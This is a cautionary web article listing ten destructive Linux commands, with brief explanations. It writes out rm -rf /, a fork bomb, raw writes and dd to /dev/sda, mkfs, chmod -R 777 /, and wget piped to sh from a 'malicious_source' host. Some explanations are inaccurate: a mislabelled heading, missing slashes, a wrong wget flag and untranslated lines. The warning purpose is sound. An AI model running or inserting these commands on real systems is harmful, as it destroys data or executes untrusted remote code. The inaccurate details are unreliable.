Linux operating system for users is more independent than Windows or any other operating system. Although for some experienced developers, the operating system Linux giving users more freedom to perform operations, but it is equally dangerous. Although every technology has its own pros and cons. But the most important thing is that the user must understand the command before executing. So in this article, I will list 10 deadly Linux commands that you should never run.
Join the channel Telegram of the AnonyViet 👉 Link 👈 |
10 Deadly Linux Commands You Should Never Run
1. Recursive delete
One of the fastest ways to delete a folder and its contents is to use the command rm -rf
. This command will wipe everything in the file, folder, or hard drive on which the command is running. I will break down the command to make it easier to understand:
rm – Delete all files in the given location
-rf – This command is split into two parts: r and f. r allows you to delete all files recursively while f means delete all files without prompting the user.
There are several variations of this command out there, but what they all have in common is that they will wipe out any data on the directory the command is running in. The data lost from this command cannot be recovered in any way.
- rm – This command is used to delete all files in the path that you will provide
- rm -r – This command is used to remove files recursively from all directories and subdirectories in Linux Operating System.
- rm -f – This command is used to delete files on the provided path without prompting the user. Including deleting “Read Only Files”.
- rm -rf / – This is one of the most dangerous commands because / is the root directory of the operating system. When this command is run, it will recursively delete all the contents of the root directory. As such, all your folders and subfolders will be deleted and data will be lost.
- rm -rf * – This command deletes all data in the working directory
- rm -rf. – This command deletes files in the current working directory as well as subdirectories. It also deletes all configuration files in the directory.
2. Fork Bomb
This is a simple bash function that, once executed, creates copies of itself. Thus, consuming CPU time and memory resources. This command will run recursively until the system freezes.
:(){:|:&};:
3. Overwrite the hard drive
If you execute the command below on your hard drive, then data recovery is completely impossible.
command > dev/sda
This command writes the raw data to the hard drive you want. This leads to data loss in the hard drive or partition in the command. I will break down the command to make it easier to understand.
command – This can be any command entered by the user > – Responsible for sending the output of the command to the entered location dev/sda – The output of the command will be written to this location. So be careful when using a command with a hard drive location such as dev/sda.
4. Hard Drive Encryption
In every Linux system, dev/null is a special place like a black hole. Anything that moves to this black hole is destroyed. If you accidentally move your data into this folder, your data will not be restored.
mv /home/root/* dev/null
The above command will move all data in home/root directory into dev/null, resulting in data loss. I will break down the command to make it easier to understand.
mv – This command is used to move a directory to another location
/home/root/ * – This is the location of the directory to be moved
dev/null – A special place like a black hole
So you should be careful while running this command.
5. Download malicious scripts
We are all aware of the benefits of the “wget” command in Linux but what we do not know is that it can download malicious scripts and viruses as well as beneficial software. If you happen to run one of the following commands, then you should be careful.
wget http://malicious_source -o- | sh wget http://example.com/something -o- | sh - wget http: //an-untrusted-url -o- | sh
The above commands download the content from the provided URL and run the downloaded script.
6. Format the hard drive
There is another command to erase your hard drive and reformat it. But this command should only be used in case you have backed up your data in the cloud or an external device.
mkfs.ext3 /dev/sda
Running this command is like formatting drive C in windows, in that all files will be wiped from the drive. To make it easier for you to understand, let’s break this command down.
mkfs.ext3 - Tạo ra một hệ thống tệp ext3 mới trên ổ cứng.
dev/sda - Chỉ định phân vùng đầu tiên trên ổ cứng.
When this command is executed, it will format the specified partition on the hard drive in ext3.
7. Write file content
The command to delete file contents is an easy command and can be executed under any circumstances.
>file
Operator >
redirect the output to a file and overwrite the contents of that file. Eg:
echo "first statement" > file1.txt
The above command will write the words first statement
into file file1.txt
.
8. Edit the previous command
This command is a double-edged sword. While it saves you from having to retype all previous commands and makes it easier to execute it, it can also inject malicious content into your previously run command. Therefore, you should consider using this command.
^foo^bar
9. Write random data to the hard drive
If you have ever come across the below command, congratulations, you may have also seen random data written to your hard drive if you are crazy enough to execute this command. The consequence of this command is that your system will not be restored.
dd if=/dev/random of=/dev/sda
10. Chmod -R 777 /
This command does not physically affect your system like all other commands but it leads to a security breach on the system. By executing this command, you are giving all users of the system the ability to read, write, and execute data on your file system. Therefore, use this command wisely.
I hope these deadly linux commands will save you from losing your data. In addition, you can also see more dangerous cmd commands here.